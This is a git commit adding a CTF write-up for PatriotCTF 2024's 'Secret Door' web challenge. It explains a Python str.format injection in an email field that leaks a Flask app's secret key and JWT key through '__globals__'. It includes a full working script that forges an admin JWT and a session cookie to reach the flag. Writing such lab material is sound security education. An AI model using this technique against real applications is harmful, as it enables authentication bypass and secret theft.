patriotctf writeup
This commit is contained in:
parent
def2b2ed3e
commit
375dae18a6
174
ctf/patriotctf/web_secret_door.md
Normal file
174
ctf/patriotctf/web_secret_door.md
Normal file
|
|
@ -0,0 +1,174 @@
|
|||
---
|
||||
title: 'PatriotCTF 2024: Web - Secret Door'
|
||||
date: 2024/9/22
|
||||
tags: ['ctf', 'web']
|
||||
---
|
||||
## Task
|
||||
|
||||
> knock knock...
|
||||
>
|
||||
> [http://chal.competitivecyber.club:1337](http://chal.competitivecyber.club:1337)
|
||||
>
|
||||
> [`dist.tar.zx`](https://pctf.competitivecyber.club/files/dd50b21c157f0ccd4ca7363853cfa1bb/dist.tar.zx?token=eyJ1c2VyX2lkIjoxNTgyLCJ0ZWFtX2lkIjo2ODcsImZpbGVfaWQiOjQ3fQ.ZvCWrA.srbI581Q1nab7ktrNrHGV0LnHF0)
|
||||
|
||||
- `Author: sans909`
|
||||
- `Points: 424`
|
||||
- `Solves: 39 / 1361 (3.965%)`
|
||||
|
||||
## Writeup
|
||||
|
||||
On the provided website, we can register for an account using an email and password. Upon logging in, we can update our email, view some logs associated with our account, or logout.
|
||||
|
||||
There doesn't seem to be anything else we can do, so let's look at the source code. First, let's see what files mention the flag:
|
||||
|
||||
```console
|
||||
$ rg flag
|
||||
challenge/blueprints/web_routes.py
|
||||
39: flag = current_app.config['FLAG']
|
||||
40: return render_template('admin.html', flag=flag)
|
||||
|
||||
challenge/templates/admin.html
|
||||
10: {% if flag %}
|
||||
11: <p>The flag: {{ flag }}</p>
|
||||
13: <p>The flag is disabled.</p>
|
||||
```
|
||||
|
||||
Looking at `web_routes.py`, we can determine that visiting `/admin` will give us the flag, as long as we are authenticated as an admin:
|
||||
|
||||
```py
|
||||
@web.route('/admin')
|
||||
@is_admin
|
||||
def admin_home():
|
||||
flag = current_app.config['FLAG']
|
||||
return render_template('admin.html', flag=flag)
|
||||
```
|
||||
|
||||
The `is_admin` decorator is defined in `util.py`, and runs the following checks before allowing access:
|
||||
|
||||
```py
|
||||
token = session.get('auth')
|
||||
if not token:
|
||||
return abort(401, 'Unauthorized access detected!!')
|
||||
|
||||
decoded_token = verify_JWT(token)
|
||||
if decoded_token["role"] != "admin":
|
||||
return abort(401, 'Unauthorized access detected!!')
|
||||
```
|
||||
|
||||
If we look at the implementation of `verify_JWT`, nothing appears to be wrong. We will need to provide a valid JWT with `role` set to `admin` if we want to access the flag.
|
||||
|
||||
The rest of `web_routes.py` is not very useful; let's turn our attention to `api_routes.py` instead. Looking for ways we can obtain a JWT, we see the `/api/login` route is the only place where one is created:
|
||||
|
||||
```py
|
||||
# ...
|
||||
query = "SELECT * FROM users WHERE email = %s"
|
||||
user = query_db(query, (email,), one=True)
|
||||
if user:
|
||||
password_check = verify_password(user['password'], password)
|
||||
if password_check:
|
||||
token = create_JWT(user['email'], user['role'])
|
||||
session['auth'] = token
|
||||
return redirect(url_for('web.home'))
|
||||
# ...
|
||||
```
|
||||
|
||||
We see that some SQL is being run, which could be interesting. However, `query_db` doesn't seem to be vulnerable to SQL injection. `verify_password` also is fine, so we will only be able to log in to accounts that we know the password to. Additionally, looking at how our account is created in `/api/register`, we see that our role will always be `regular`.
|
||||
|
||||
There are still two other routes to look at though. Let's look at `/api/update-email`. Our JWT is verified and the email we provide is checked to be a valid email. Then a log is added to the database, which we can view afterwards through `/api/view-logs`:
|
||||
|
||||
```py
|
||||
# ...
|
||||
time = datetime.now()
|
||||
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
|
||||
log_text = f"Email updated to {new_email} at {update_date}"
|
||||
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
|
||||
# Update users
|
||||
call_procedure("update_user_email", (old_email, new_email))
|
||||
# Insert Logs
|
||||
log_text = escape_html(log_text)
|
||||
call_procedure("insert_log", (new_email, log_text))
|
||||
# ...
|
||||
```
|
||||
|
||||
Something that is immediately suspicious is the consecutive assignments to `log_text`. The first sets `log_text` to a string formatted with a value we provide: `new_email`. The second calls Python's `str.format` method and passes in some keyword arguments, which will look for replacement fields surrounded by `{}` in the string and replace them with the corresponding argument.
|
||||
|
||||
For example, if `new_email` was set to something like `{update_date}@a.com` (yes, braces are valid in email), the first part would be replaced with the value of `update_date`. We already get this information in the log through the first assignment though, so this example wouldn't give us anything.
|
||||
|
||||
The only new information we can get is the `timestamp` argument, which gets assigned something that is defined in `util.py`. Looking at its definition, we see the following:
|
||||
|
||||
```py
|
||||
def timestamp():
|
||||
return datetime.now()
|
||||
```
|
||||
|
||||
Knowing the current time doesn't seem that useful, we can check our own clock after all. However, the value passed to `str.format` is not the return value of this function, it's the function itself! While you might think that this still does not give us any new information, as coercing a function to a string just gives us its name and address in memory, there is another trick we can use.
|
||||
|
||||
Python's format string syntax allows us to do more than just access the named arguments passed to it, we can also access any attribute of an argument through `{name.attribute}`. Additionally, defining a function in Python gives it the `__globals__` attribute, containing a dictionary of the module it was defined in (like the return value of `globals()`). Therefore, we can leak all global variables in `util.py`, including `jwt_key`, letting us make our own JWT with role set to admin.
|
||||
|
||||
A small detail we've been ignoring though is that the server does not directly use a cookie we give it as the JWT. Rather, it uses Flask's `session` to get and set the JWT. What this does under the hood is send a session cookie with JSON data that has been cryptographically signed by a secret key, preventing users from modifying its value. The secret key that this server uses is also defined in `util.py` though, so we can just leak it as well and sign the session cookie ourselves.
|
||||
|
||||
Let's use the following script to get the flag:
|
||||
|
||||
```py
|
||||
import jwt
|
||||
import requests
|
||||
|
||||
from flask.sessions import SecureCookieSessionInterface
|
||||
|
||||
import random
|
||||
import re
|
||||
|
||||
ses = requests.Session()
|
||||
url = 'http://chal.competitivecyber.club:1337'
|
||||
|
||||
# use a random number to avoid using an email that already has an account
|
||||
json = {'email': f'a@{random.random()}', 'password': 'a'}
|
||||
ses.post(url + '/api/register', json=json)
|
||||
ses.post(url + '/api/login', json=json)
|
||||
|
||||
# leak the secret keys
|
||||
json['email'] = f'{{timestamp.__globals__}}@{random.random()}'
|
||||
ses.post(url + '/api/update-email', json=json)
|
||||
# updating our email logged us out
|
||||
ses.post(url + '/api/login', json=json)
|
||||
res = ses.get(url + '/api/view-logs')
|
||||
|
||||
# parse the output (the quotes are escaped)
|
||||
secret = re.search(r''FLASK_SECRET_KEY': '(.+?)'', res.text).group(1)
|
||||
key = re.search(r''jwt_key': '(.+?)'', res.text).group(1)
|
||||
|
||||
# forge the JWT
|
||||
token = jwt.encode({'role': 'admin'}, key, algorithm='HS256')
|
||||
# forge the session cookie
|
||||
app = type('', (), {'secret_key': secret})()
|
||||
cookie = SecureCookieSessionInterface().get_signing_serializer(app).dumps({'auth': token})
|
||||
|
||||
# get the flag
|
||||
res = requests.get(url + '/admin', cookies={'session': cookie})
|
||||
print(res.text)
|
||||
```
|
||||
|
||||
Running the script, we successfully get the flag:
|
||||
|
||||
```console
|
||||
$ python a.py
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Admin Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Admin Page</h1>
|
||||
|
||||
<p>The flag: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Reference
|
||||
|
||||
- [Python format strings](https://docs.python.org/3/library/string.html#formatstrings)
|
||||
- [Flask sessions](https://flask.palletsprojects.com/en/3.0.x/quickstart/#sessions)
|
||||
Loading…
Reference in a new issue